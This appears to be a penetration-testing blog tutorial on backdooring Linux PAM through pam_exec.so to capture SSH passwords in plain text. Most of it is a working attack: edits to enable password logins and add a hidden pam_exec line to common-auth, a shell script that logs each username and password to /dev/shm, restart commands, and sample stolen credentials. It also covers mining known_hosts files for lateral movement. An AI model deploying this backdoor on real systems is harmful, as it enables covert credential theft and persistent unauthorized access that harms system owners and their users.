Backdooring PAM: Stealing SSH Credentials with pam_exec.so
Introduction
During penetration testing engagements, once you obtain a reverse shell, privilege escalation often becomes the next critical objective. While there are various methods to capture credentials, one particularly stealthy approach involves backdooring the Pluggable Authentication Module (PAM) system. This technique allows you to capture SSH credentials in real-time as users authenticate, providing a powerful persistence mechanism.
Why PAM Backdooring? While honeypots like Cowrie or Kippo can be effective, or Python SSH honeypots that i created ,they're often detectable and don't provide the same level of integration as manipulating the authentication system itself. also not interesting 😂
Finding the PAM Module
First, locate the pam_exec.so module on the target system:
find / -name pam_exec.so 2>/dev/null
# or
locate pam_exec.soRecon with Known Hosts
Before diving into PAM patching, it is useful to gather some context about the network and where legitimate users are connecting. SSH clients store previously accessed servers in a known_hosts file under each user’s .ssh directory. If those files are accessible, they give a list of destinations without the need for noisy scanning.
For example, inspecting /home/dev3/.ssh/known_hosts might reveal entries such as git. That single clue suggests a pivot point. If the compromised machine is in a restricted environment, that host may sit in another subnet or behind access controls you couldn’t otherwise reach. With the right credentials, this file becomes a roadmap for lateral movement.
Preparing the Host
Before implementing a credential capture mechanism, it’s important to ensure the host accepts password-based logins. SSHD can be configured to forbid password authentication entirely, relying solely on key-based access. To enable credential capture, the following must be set in /etc/ssh/sshd_config:
target# > nano /etc/ssh/sshd_config
PasswordAuthentication yes
Configuring the Backdoor
Modifying PAM Configuration
We'll target either /etc/pam.d/sshd or /etc/pam.d/common-auth. For this example, we'll use common-auth:
target# sudo vi /etc/pam.d/common-authAdd the following line at the beginning of the auth section:
auth optional pam_exec.so quiet expose_authtok /dev/shm/pwn.shParameter Breakdown:
auth: Authentication module typeoptional: Failure doesn't block authentication (maintains stealth)pam_exec.so: The module that executes external scriptsquiet: Suppresses error messagesexpose_authtok: Provides the authentication token (password) to the script/dev/shm/pwn.sh: Our malicious script location (example: /var/log/.authc.log /var/log/.authh.log)
Complete common-auth Example

Creating the Credential Capture Script
#!/bin/sh
# Log timestamp, username, and password
echo "$(date) - $PAM_USER:$(cat -)" >> /dev/shm/pwned.logMake it executable and restart the ssh service.
target# sudo chmod +x /dev/shm/pwn.shtarget# sudo systemctl restart sshTesting the Backdoor
ssh kali@localhosttarget# tail -f /dev/shm/pwned.logSample Output:
Mon Nov 24 20:45:18 JST 2025 - kali:kali
Mon Nov 24 20:50:11 JST 2025 - kali:helloImportant Consideration
The backdoor only captures passwords for existing users. If you attempt to SSH with a non-existent username, it won't capture the password:
attacker# ssh nonexistentuser@localhostTo capture credentials for specific users, create them first into the attacker machine:
sudo useradd targetuser
sudo systemctl restart sshAdvanced: Port Forwarding for External Access
If your reverse shell uses non-standard ports, forward SSH traffic:

This allows external connections to port 2222 while maintaining the backdoor functionality.
Capture Example
target# tail -f /dev/shm/pwned.logLive Capture Output:
i tried to login via my remnux VM


Happy Hacking
Last updated